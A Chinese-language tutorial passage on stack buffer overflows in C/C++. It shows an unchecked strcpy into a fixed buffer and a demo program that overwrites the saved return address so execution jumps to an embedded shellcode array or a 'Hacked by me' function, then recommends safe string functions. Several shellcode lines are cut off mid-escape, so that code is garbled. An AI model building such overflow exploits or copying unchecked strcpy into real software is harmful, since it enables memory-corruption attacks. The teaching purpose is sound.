下面的代码就存在缓冲区溢出问题。当传入的buf长度超过200个字节的时候,strcpy()并不检查目标缓存msg[200]是否能容纳buf中的内容,也就是不检查msg目标缓存的长度,因此会覆盖紧挨msg[200]存储的数据。根据上面的图,msg[200]存放在栈上,当buf的长度为208(debug)或者204(release)字节的时候,就会覆盖返回地址(eip),造成严重的缓冲区溢出漏洞。
void msg_display(char * buf)
{
char
msg[200];
strcpy(msg,buf);
cout<<msg<<endl;
}
那么如何精心构造这个缓冲区溢出呢?下面的例子就是通过精心构造栈上的缓冲区溢出来执行意料之外的一段代码。问题出在func1()。
#include "stdafx.h"
#include <stdio.h>
#include <string.h>
#include <windows.h>
unsigned char shellcode[] =
"\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x45\xF5\x53"
"\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\xC6\x45\xFA\x2E\xC6"
"\x45\xFB\x44\xC6\x45\xFC\x
"\x7b\x1d\x80\x
"\x52\x8D\x45\xF4\x50"
"\xFF\x55\xF0"
"\x55\x8B\xEC\x83\xEC\x
"\x89\x45\xF8\xB8\x63\x
"\x50\xB8"
"\xc7\x93\xbf\x77"
"\xFF\xD0";
//
void func1(char* s)
{
char buf[10];
strcpy(buf, s);
}
void func2(void)
{
printf("Hacked by me.\n");
exit(0);
}
int main(int argc, char* argv[])
{
char badCode[] =
"aaaabbbb2222cccc4444ffff";
DWORD* pEIP =
(DWORD*)&badCode[16];
//*pEIP = (DWORD)func2;
*pEIP =
(DWORD)shellcode;
func1(badCode);//当func1()退出后,程序并不会正常退出,而是直接执行了shellcode或者func2()函数。
return 0;
}
字符串处理操作是缓冲区溢出的常见根源,大部分是由于 C/C++ 语言运行时库提供的标准字符串处理函数(strcat、strcpy、sprintf 等)不会阻止超出缓冲区结尾的写入操作。
所以需要使用更加安全的字符串函数来消除程序中许多潜在的缓冲区溢出。比如可以使用strncat、strncpy、snprintf等函数,来控制字符串操作的实际字符数,以达到防止这方面的溢出的问题。而在最新的微软字符串操作库中,已经提供了一种安全的字符串操作函数:strcpy_s、strcat_s等。它们的使用情况可参考相应的MSDN帮助手册。
Copyright 2011-2020 © MallocFree. All rights reserved.